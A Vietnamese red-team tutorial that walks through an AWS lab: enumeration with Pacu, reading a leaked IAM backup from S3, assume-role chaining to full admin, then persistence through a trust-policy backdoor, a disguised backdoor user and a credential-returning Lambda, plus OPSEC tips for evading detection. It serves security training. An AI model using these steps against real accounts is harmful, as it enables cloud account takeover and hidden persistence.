Anh em làm Red Team chắc ai cũng từng nghe câu “cloud is just someone else’s computer”. Đúng, nhưng cái computer đó có hệ thống phân quyền phức tạp hơn nhiều so với cái AD mà ae vẫn hay gặp trong các dự án Red Team. Trên AWS, một cái IAM policy thừa, một S3 bucket config ẩu, một trust policy viết vội lúc deadline… chain lại là đủ để từ quyền user đọc log biến thành admin cả account.
Bài này mình sẽ đi trọn một exploit chain trong lab: bắt đầu từ một IAM key low-priv (kiểu ae hay gặp khi audit, key nằm trong .env trên Git, hay trong Slack channel nào đó), dùng Pacu để hiểu mình có gì, tìm S3 bucket misconfig, đọc được trust policy rồi chain sts:AssumeRole leo lên admin, cuối cùng cắm persistence để “hẹn gặp lại”.
Lab mình dùng AWS (Free Tier - IAM, S3, STS đều miễn phí) với custom Terraform scenario. Ae sẽ deploy lên một AWS account lab riêng, trust policy check thật, permission deny thật. Mình cũng viết sẵn toàn bộ Terraform config để ae clone về lab.
Disclaimer: Tất cả kỹ thuật trong bài chỉ áp dụng trong lab. Đừng tự tiện thử trên infra của người khác nhé ae.
1. Đôi điều về IAM, STS và Trust Policy
Trước khi bắt đầu lab, ae cần nắm vài concept cốt lõi sau. Mình sẽ giải thích ngắn gọn các term.
IAM - “Ai được làm gì”
AWS Identity and Access Management quản lý toàn bộ phân quyền trong một AWS account. Có 3 thứ quan trọng:
- IAM User: Đại diện cho một con người hoặc application. Có access key/secret key cố định.
- IAM Role: Giống user nhưng không có credential cố định. Muốn dùng phải “assume” vào nó để nhận temporary credential.
- IAM Policy: Document JSON mô tả quyền. Gắn vào user/role/group.
Một policy trông như này:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["s3:GetObject", "s3:ListBucket"],
"Resource": "arn:aws:s3:::my-bucket/*"
}
]
}
STS - “Cho tôi mượn quyền”
AWS Security Token Service là service cho phép tạo temporary credential. Hành động quan trọng nhất với ae red team là sts:AssumeRole - cho phép một principal (user/role) “nhập vai” vào một role khác và nhận temporary AccessKeyId + SecretAccessKey + SessionToken.
Trust Policy - “Ai được assume vào tôi”
Mỗi IAM Role có một trust policy (hay AssumeRolePolicyDocument) quy định principal nào được phép assume vào nó. Đây là thứ mà ae cần soi kỹ nhất khi audit, vì trust policy lỏng = pivot point.
Ví dụ trust policy cho phép mọi user/role trong account assume:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::111122223333:root"
},
"Action": "sts:AssumeRole"
}
]
}
Principal là arn:aws:iam::ACCOUNT_ID:root nghĩa là bất kỳ entity nào trong account đó, chỉ cần có quyền sts:AssumeRole trên resource tương ứng, là assume được. Đây là pattern ae gặp khá thường xuyên trong môi trường thực tế, đặc biệt với các cross-account role.

AssumeRole - User gọi STS → STS check trust policy + user permission → trả về temporary credential
2. Dựng Lab: AWS Account + Terraform + Pacu
2.1 Tại sao dùng AWS thật thay vì LocalStack?
Một số ae sẽ hỏi “sao không dùng LocalStack cho tiện?”. Mình từng nghĩ vậy, nhưng research kỹ thì:
- LocalStack Community không enforce IAM policy - mọi API call đều pass bất kể user có quyền hay không. Nghĩa là exploit chain ae chạy “thành công” nhưng thực ra LocalStack không check gì cả.
- Trust policy không được validate - bất kỳ ai cũng assume được bất kỳ role nào, bất kể trust policy viết gì.
- Muốn IAM enforcement phải dùng LocalStack Pro (
ENFORCE_IAM=1) - mất phí.
Nhưng… IAM, S3, STS đều miễn phí trên AWS Free Tier. Tạo bao nhiêu user/role/bucket cũng không tốn đồng nào (trừ khi ae lưu data S3 quá 5GB). Mà lab mình chỉ tạo vài file JSON nhỏ, nên chi phí gần như bằng 0.
2.2 Tools được sử dụng
| Tool | Vai trò | Ví dụ tương đương |
|---|---|---|
| Terraform | Deploy scenario (tạo user/role/bucket/policy) lên AWS | IaC - one click for all |
| CloudGoat | Bộ scenario vulnerable có sẵn (cũng dùng Terraform) | Vulnhub cho AWS |
| Pacu | Exploitation framework - enum & khai thác AWS | Metasploit cho AWS |
Trong bài này: mình tự viết Terraform thay vì dùng CloudGoat, vì muốn custom đúng chain cần demo. Pacu dùng để exploit. Anh em có thể tham khảo thêm CloudGoat để explore các scenario khác ngoài bài, CloudGoat có tạo sẵn các vulnerable scenerio để dựng trên AWS.
2.3 Tạo AWS Lab Account
Bước 1: Tạo một AWS account riêng cho lab. Đừng dùng account production.
Bước 2: Setup budget alarm (phòng trường hợp quên cleanup):
Vào AWS Console → Billing and Cost Management → Budgets → Create Budget, ae có thể chọn sẵn “Zero spend budget” template:

Bước 3: Tạo IAM user cho Terraform deploy (cần quyền admin để tạo resource):
Trong AWS Console, IAM → Users → tạo IAM user "terraform-deployer"
Attach policy: AdministratorAccess (chỉ dùng khi làm lab)

Tạo Access Key cho CLI:

Bước 4: Cấu hình AWS CLI:
aws configure --profile redteam-lab
# AWS Access Key ID: [key của terraform-deployer]
# AWS Secret Access Key: [secret của terraform-deployer]
# Default region: us-east-1
# Output format: json
Verify:
aws sts get-caller-identity --profile redteam-lab
2.4 Cài Terraform + Pacu
Terraform (nếu chưa có):
# macOS
brew tap hashicorp/tap
brew install hashicorp/tap/terraform
# Linux
sudo apt-get update && sudo apt-get install -y gnupg software-properties-common
wget -O- <https://apt.releases.hashicorp.com/gpg> | \\
gpg --dearmor | \\
sudo tee /usr/share/keyrings/hashicorp-archive-keyring.gpg > /dev/null
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/hashicorp-archive-keyring.gpg] <https://apt.releases.hashicorp.com> $(grep -oP '(?<=UBUNTU_CODENAME=).*' /etc/os-release || lsb_release -cs) main" | sudo tee /etc/apt/sources.list.d/hashicorp.list
sudo apt update && sudo apt-get install terraform
# Hoặc download binary từ <https://developer.hashicorp.com/terraform/downloads>
terraform --versionPacu - exploitation framework, dùng để enum + exploit:
# Cách 1: Docker
docker run -it --name pacu \\
-v ~/.aws:/root/.aws \\
rhinosecuritylabs/pacu:latest
# Cách 2: Cài trực tiếp
git clone <https://github.com/RhinoSecurityLabs/pacu.git>
cd pacu && pip3 install -r requirements.txt
python3 pacu.py
3. Deploy Scenario bằng Terraform
Mình tự viết Terraform scenario thay vì dùng CloudGoat, vì muốn control đúng exploit chain cần demo: Low-priv user → S3 misconfig → Trust policy leak → Role chaining → Admin.
Tại sao không dùng CloudGoat? CloudGoat có sẵn nhiều scenario hay, nhưng không có scenario nào map chính xác chain này. Tự viết Terraform thì custom được 100%. Ae muốn explore thêm thì thử
iam_privesc_by_rollbackhoặclambda_privesctrên CloudGoat.
Mình đã viết sẵn một bộ Terraform mô phỏng đúng chain trong bài. Toàn bộ resource chỉ dùng IAM + S3 + STS - hoàn toàn miễn phí trên AWS Free Tier.
Ae có thể xem repo ở đây: https://github.com/anhhung04/cloud-redteam-lab
3.1 Cấu trúc thư mục
terraform/
├── provider.tf # Provider config cho AWS
├── variables.tf # Biến cấu hình
├── iam-users.tf # IAM user khởi đầu (low-priv)
├── iam-roles.tf # Các role trong chain
├── s3-misconfig.tf # S3 bucket + file chứa trust policy
└── outputs.tf # Output credential3.2 Deploy scenario
cd ~/cloud-redteam-lab/terraform
terraform init
terraform apply -auto-approveTerraform sẽ tạo toàn bộ resource trên AWS thật: IAM user, 2 IAM role, S3 bucket + file. Sau khi apply xong, note lại output:
terraform output -json
# Lấy secret key
terraform output -raw analyst_secret_access_key | tee -a analyst_secret_access_key

Cấu hình profile cho attacker (credential của user cg-redteam-analyst - user low-priv):
aws configure --profile attacker
# Access Key: [từ terraform output analyst_access_key_id]
# Secret Key: [từ terraform output analyst_secret_access_key]
# Region: us-east-1
# Output: json
Verify identity:
aws sts get-caller-identity --profile attacker
4. Enumeration với Pacu
4.1 Pacu là gì?
Ae cần nhớ rõ: Pacu là tool tấn công, chuyên dùng để enumerate, phân tích quyền, và khai thác misconfig trong AWS.
Pacu có module cho IAM, S3, EC2, Lambda, CloudTrail… thay vì phải nhớ hàng chục lệnh AWS CLI riêng lẻ.
Trong lab, ae có thể exec vào container Pacu đã dựng ở bước trước:
# Exec vào container Pacu (exploitation tool)
docker exec -it pacu bash
# Hoặc cài trực tiếp trên host nếu không dùng Docker
pip install pacu
# Hoặc dùng uv
uv tool install pacu
4.2 Setup session trong Pacu
Pacu (redteam-lab:No Keys Set) > set_keys
Key alias: analyst-lab
Access Key ID: AKIA...
Secret Access Key: xxx
Session Token (leave blank if none):
Pacu (redteam-lab:analyst-lab) > set_regions us-east-1
Pacu (redteam-lab:analyst-lab) > whoami
4.3 Enum IAM - “Tôi là ai, tôi có gì?”
Tới bước này ae cần trả lời 2 câu hỏi:
- User hiện tại có quyền gì thực sự?
- Có quyền
sts:AssumeRolevào role nào?
Dùng Pacu (trên AWS thật):
Pacu (redteam-lab:analyst-lab) > run iam__enum_permissions
Pacu (redteam-lab:analyst-lab) > run iam__enum_users_roles_policies_groups
Dùng AWS CLI:
# Xác định identity
aws sts get-caller-identity --profile attacker
# List policy của user
aws iam list-user-policies \\
--user-name cg-redteam-analyst --profile attacker
# Đọc chi tiết policy
aws iam get-user-policy \\
--user-name cg-redteam-analyst \\
--policy-name cg-redteam-analyst-policy \\
--profile attacker
Sau đó ae run lại whoami để xem policy:

Output policy sẽ cho thấy user có:
- s3:ListAllMyBuckets,s3:ListBucket,s3:GetObject → đọc S3
- sts:AssumeRoletrên resource arn:aws:iam::ACCOUNT_ID:role/cg-redteam-app-role→ đây là pivot point
- iam:GetRole, iam:ListRoles … → enum được IAM

List các role trong account:
aws iam list-roles --profile attacker | jq '.Roles[].RoleName'
Ae sẽ thấy 2 role: cg-redteam-app-role và cg-redteam-admin-role.
4.4 Enum S3 - “Có gì trong bucket?”
# List tất cả bucket
aws s3 ls --profile attacker
# List file trong bucket
aws s3 ls s3://cg-redteam-reports-bucket --recursive --profile attackerOutput sẽ hiện tương tự như sau:

Ngay cái tên iam-backup.json đã đủ đáng ngờ rồi, kéo về xem thử nó có gì.
5. Khai thác S3 Misconfig → Lộ Trust Policy
5.1 Download và phân tích file backup
# Tải file backup về
aws s3 cp s3://cg-redteam-reports-bucket/internal/iam-backup.json . \\
--profile attacker
# Xem nội dung
cat iam-backup.json | jq .File này có vẻ “nguy hiểm” vì đọc qua sẽ thấy nó chứa đầy đủ thông tin về IAM role structure trong account:
{
"_metadata": {
"description": "IAM configuration backup - DO NOT SHARE",
"exported_at": "2026-02-28T03:00:00Z",
"exported_by": "infra-automation-cron",
"version": "2.1"
},
"account_id": "091055223379",
"roles": [
{
"arn": "arn:aws:iam::091055223379:role/cg-redteam-app-role",
"permission_policies": [
"S3Access - s3:ListBucket, s3:GetObject on *",
"AssumeAdminRole - sts:AssumeRole on cg-redteam-admin-role",
"IAMEnum - iam:List*, iam:Get* on *"
],
"role_name": "cg-redteam-app-role",
"tags": {
"environment": "production",
"managed_by": "terraform",
"team": "platform-engineering"
},
"trust_policy": {
"Statement": [
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::091055223379:user/cg-redteam-analyst"
}
}
],
"Version": "2012-10-17"
}
},
{
"arn": "arn:aws:iam::091055223379:role/cg-redteam-admin-role",
"permission_policies": [
"FullAdmin - *:* on *"
],
"role_name": "cg-redteam-admin-role",
"tags": {
"environment": "production",
"managed_by": "terraform",
"purpose": "emergency-break-glass",
"team": "security-ops"
},
"trust_policy": {
"Statement": [
{
"Action": "sts:AssumeRole",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::091055223379:role/cg-redteam-app-role"
}
}
],
"Version": "2012-10-17"
}
}
],
"users": [
{
"arn": "arn:aws:iam::091055223379:user/cg-redteam-analyst",
"policies": [
"S3ReadAccess",
"AssumeAppRole",
"IAMReadOnly"
],
"tags": {
"created_by": "admin@company.internal",
"team": "data-analytics"
},
"username": "cg-redteam-analyst"
}
]
}
5.2 Phân tích chain
Từ file backup trên có thể có chain attack như sau:
cg-redteam-analyst (user, low-priv)
│
│ sts:AssumeRole (trust policy cho phép)
▼
cg-redteam-app-role (role, medium-priv)
│ - Policy: S3Access, IAMEnum
│ - Policy: AssumeAdminRole ← CÁI NÀY!
│
│ sts:AssumeRole (trust policy cho phép)
▼
cg-redteam-admin-role (role, FULL ADMIN)
│ - Policy: FullAdmin (*:*)
▼
GG. Account compromised.
Điểm đáng chú ý: nếu nhìn từng role riêng lẻ, mỗi cái đều có vẻ “hợp lý”:
app-rolecần S3 access cho deployment pipeline → OKadmin-rolechỉ choapp-roleassume → nghe có vẻ đủ restrictedanalystchỉ đọc S3 → low-priv
Nhưng khi xâu chuỗi lại: analyst → app-role → admin-role = full admin từ một user chỉ có quyền đọc S3. Đây là pattern ae có thể sẽ gặp nhiều: admin thiết kế policy theo từng resource mà không nhìn đồ thị phân quyền tổng thể (IAM access graph).

Một điều nữa là trong file deploy-helper.sh cũng lộ ARN:

Script này comment rõ ràng flow assume-role, kể cả chain đến admin. Ae có thể sẽ hay gặp case như thế này: dev team viết script rồi commit vào bucket, mà không nghĩ rằng ai đó ngoài team có quyền đọc bucket đó.
Note: Ae nên chỉ tải đúng file cần thiết, đừng dùng aws s3 sync toàn bộ bucket. Trên AWS thật, mỗi GetObject là một event trên CloudTrail. Download 3 file thì SOC có thể bỏ qua, download 3000 file thì chắc chắn bị flag.
6. Assume-Role Chaining → Admin
6.1 Step 1: analyst → app-role
# Assume vào app-role
aws sts assume-role \\
--role-arn arn:aws:iam::ACCOUNT_ID:role/cg-redteam-app-role \\
--role-session-name deploy-session-2026 \\
--profile attacker
Note:
role-session-namenên đặt giống naming convention nội bộ. Ở đây mình đặtdeploy-session-2026- trông giống CI/CD job. Tránh đặth4ck3r-sessionhaypwned-420.
Output:
{
"Credentials": {
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"SessionToken": "...",
"Expiration": "2026-03-15T22:00:00Z"
},
"AssumedRoleUser": {
"Arn": "arn:aws:sts::ACCOUNT_ID:assumed-role/cg-redteam-app-role/deploy-session-2026"
}
}Export credential mới:
# Lưu vào biến (tiện hơn export)
APP_CREDS=$(aws sts assume-role \
--role-arn arn:aws:iam::ACCOUNT_ID:role/cg-redteam-app-role \
--role-session-name deploy-session-2026 \
--profile attacker \
--output json)
export AWS_ACCESS_KEY_ID=$(echo $APP_CREDS | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $APP_CREDS | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $APP_CREDS | jq -r '.Credentials.SessionToken')
# Verify
aws sts get-caller-identity
6.2 Enum từ app-role - tìm đường đi tiếp
Đứng từ app-role, ae enum lại:
# Xem policy của app-role
aws iam list-role-policies \\
--role-name cg-redteam-app-role
aws iam get-role-policy \\
--role-name cg-redteam-app-role \\
--policy-name cg-redteam-app-role-policy
Confirm: policy có sts:AssumeRole vào cg-redteam-admin-role.
# Xem trust policy của admin-role
aws iam get-role --role-name cg-redteam-admin-role | \\
jq '.Role.AssumeRolePolicyDocument'
Trust policy cho phép app-role assume. Cả hai điều kiện đều thỏa:
-
app-rolecó permissionsts:AssumeRoletrên resourceadmin-role admin-rolecó trust policy cho phép principalapp-role

6.3 Step 2: app-role → admin-role
ADMIN_CREDS=$(aws sts assume-role \\
--role-arn arn:aws:iam::ACCOUNT_ID:role/cg-redteam-admin-role \\
--role-session-name infra-maintenance-daily \\
--output json)
export AWS_ACCESS_KEY_ID=$(echo $ADMIN_CREDS | jq -r '.Credentials.AccessKeyId')
export AWS_SECRET_ACCESS_KEY=$(echo $ADMIN_CREDS | jq -r '.Credentials.SecretAccessKey')
export AWS_SESSION_TOKEN=$(echo $ADMIN_CREDS | jq -r '.Credentials.SessionToken')
# Kiểm tra lại - Lúc này sẽ là admin-role
aws sts get-caller-identity
Đây là lúc ae lên được admin
6.4 Kiểm tra quyền truy cập Admin
# Thử tạo user mới (chỉ admin mới làm được)
aws iam create-user --user-name test-admin-proof
# Thử list tất cả resource
aws iam list-users
aws s3 ls
# Cleanup test
aws iam delete-user --user-name test-admin-proof
Nếu mọi command đều pass → ae đã có full admin. Chain hoàn thành:
analyst (key leak) → app-role (trust policy) → admin-role (full admin)

7. Persistence sau khi lên Admin
Lên admin rồi thì câu hỏi tiếp theo: “Nếu key bị rotate, session expire, hoặc scenario bị reset - làm sao quay lại?”
Dưới đây là vài kỹ thuật persistence phổ biến ở mức IAM. Trong khi thực hiện dự án, ae nên bám theo Rules of Engagement và document đầy đủ mọi thay đổi.
7.1 Trust Policy Backdoor (Cross-Account)
Kỹ thuật: Thêm principal do attacker kiểm soát vào trust policy của admin-role.
Giả sử ae có một AWS account riêng (hoặc tạo thêm IAM user backdoor trong cùng account):
# Tạo file trust policy mới
cat > /tmp/admin-trust-backdoor.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": [
"arn:aws:iam::ACCOUNT_ID:role/cg-redteam-app-role",
"arn:aws:iam::ACCOUNT_ID:user/cg-redteam-analyst"
]
},
"Action": "sts:AssumeRole"
}
]
}
EOF
# Update trust policy
aws iam update-assume-role-policy \\
--role-name cg-redteam-admin-role \\
--policy-document file:///tmp/admin-trust-backdoor.json
Kết quả: Giờ analyst user có thể assume trực tiếp vào admin-role, bỏ qua bước intermediate app-role. Nếu ai đó fix policy của app-role, ae vẫn vào được admin qua backdoor trust.
Trong thực tế với cross-account, thay ACCOUNT_ID:user/cg-redteam-analyst bằng ATTACKER_ACCOUNT:root - persistent hơn nhiều vì nằm ngoài tầm kiểm soát của victim account.
Analyst assume thẳng admin-role (không qua app-role) sau khi sửa trust policy:

7.2 Tạo IAM User Backdoor
# Tạo user tên có vẻ legitimate
aws iam create-user --user-name svc-cloudwatch-exporter
# Gắn policy chỉ cho assume admin-role
cat > /tmp/backdoor-policy.json << 'EOF'
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Resource": "arn:aws:iam::ACCOUNT_ID:role/cg-redteam-admin-role"
},
{
"Effect": "Allow",
"Action": "sts:GetCallerIdentity",
"Resource": "*"
}
]
}
EOF
aws iam put-user-policy \\
--user-name svc-cloudwatch-exporter \\
--policy-name monitor-access \\
--policy-document file:///tmp/backdoor-policy.json
# Tạo access key
aws iam create-access-key --user-name svc-cloudwatch-exporter
Note: Đặt tên service-account-ish (
svc-,pipeline-,lambda-exec-…). Defender nếu không có baseline tốt sẽ rất khó phân biệt đâu là service account thật, đâu là backdoor.
Lưu key vào vault riêng. Khi cần quay lại: dùng key → assume admin-role.

7.3 Lambda Backdoor (Concept)
Với admin access, ae có thể deploy một Lambda gắn role mạnh:
# 1. Lambda handler trả về full credential
cat > /tmp/lambda_handler.py << 'PYEOF'
import json
import os
import boto3
def handler(event, context):
sts = boto3.client('sts')
identity = sts.get_caller_identity()
# Credential của Lambda execution role (admin)
# Lấy từ environment — Lambda tự inject
return {
'statusCode': 200,
'body': json.dumps({
'identity': identity['Arn'],
'account': identity['Account'],
'access_key': os.environ.get('AWS_ACCESS_KEY_ID'),
'secret_key': os.environ.get('AWS_SECRET_ACCESS_KEY'),
'session_token': os.environ.get('AWS_SESSION_TOKEN'),
'region': os.environ.get('AWS_REGION')
})
}
PYEOF
cd /tmp && zip -j lambda_backdoor.zip lambda_handler.py
# 2. Update function code
aws lambda update-function-code \\
--function-name cg-metric-aggregator \\
--zip-file fileb:///tmp/lambda_backdoor.zip
sleep 3
# 3. Invoke — lấy credential admin từ Lambda
aws lambda invoke \\
--function-name cg-metric-aggregator \\
--payload '{}' \\
/tmp/lambda-output.json
echo "=== Lambda output ==="
cat /tmp/lambda-output.json | jq .
# Parse credential từ response
LAMBDA_BODY=$(cat /tmp/lambda-output.json | jq -r '.body' | jq .)
echo ""
echo "=== Credential của Lambda execution role (admin) ==="
echo "$LAMBDA_BODY" | jq '{identity, access_key, secret_key, session_token}'
Lambda này trông vô hại (tên cg-metric-aggregator) nhưng chạy với admin role. Khi invoke, nó có full credential của admin-role.

Lưu ý ROE: Lambda backdoor thường cần approval rõ ràng trong trong thực hiện vì người dùng hoặc kẻ xâm nhập khác có thể truy cập. Deploy xong phải document và cleanup sau khi kết thúc.
Note: Trong quá trình thực hiện ae có thể gặp lỗi do vẫn đang sử dụng app-role, để có thể tạo lambda cần chain lên admin-role lại

# Nếu output là app-role → cần chain tiếp lên admin-role trước
aws sts assume-role \
--role-arn arn:aws:iam::091055223379:role/cg-redteam-admin-role \
--role-session-name infra-maintenance-daily
# Export credential admin-role
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
# Verify đã là admin
aws sts get-caller-identity8. OPSEC Notes
Rải rác trong bài mình đã note lại một số lưu ý về OPSEC, ở đây sẽ tổng hợp lại cho ae dễ tìm:
Enumeration Phase
| Mục | Do | Don’t |
|---|---|---|
| Module Pacu | Chạy selective: iam__enum_permissions, s3__enum | Chạy run all hoặc brute-force toàn bộ service |
| Region | Set cụ thể: us-east-1 | Quét tất cả region (--region all) |
| S3 download | Tải đúng file cần: iam-backup.json | aws s3 sync toàn bucket |
Exploitation Phase
| Mục | Do | Don’t |
|---|---|---|
| Session name | deploy-session-2026, ci-build-1234 | pwned-session, h4x0r |
| Assume frequency | 1-2 lần/role, cache credential | Assume liên tục 10 lần/phút |
| Source IP | Dùng VPN/exit node phù hợp geo | Assume từ IP residential rõ ràng ngoài org |
Persistence Phase
| Mục | Do | Don’t |
|---|---|---|
| User naming | svc-cloudwatch-exporter, lambda-exec-prod | backdoor-user, admin2 |
| Policy | Minimal: chỉ sts:AssumeRole | Gắn thẳng AdministratorAccess |
| Documentation | Ghi lại MỌI thứ đã tạo/sửa | Quên cleanup sau engagement |
| Sensitive services | Tránh chạm CloudTrail, GuardDuty, Security Hub | Disable logging, xóa trail |
CloudTrail Awareness
Trên AWS thật, mỗi API call đều được ghi vào CloudTrail. Ae nên check CloudTrail trong lab account để xem “dấu vết” của mình trông như thế nào từ góc nhìn defender - đây là cách tốt nhất để hiểu OPSEC trong cloud:
# Xem CloudTrail event gần nhất
aws cloudtrail lookup-events --max-results 10Cleanup Lab
# Destroy toàn bộ resource trên AWS
cd ~/cloud-redteam-lab/terraform
terraform destroy -auto-approve
# Verify không còn resource nào
aws iam list-users --profile redteam-lab
aws s3 ls --profile redteam-labQuan trọng: Luôn cleanup sau khi lab xong. Dù IAM/S3/STS free, nhưng để resource tồn tại = attack surface trên account lab của ae.
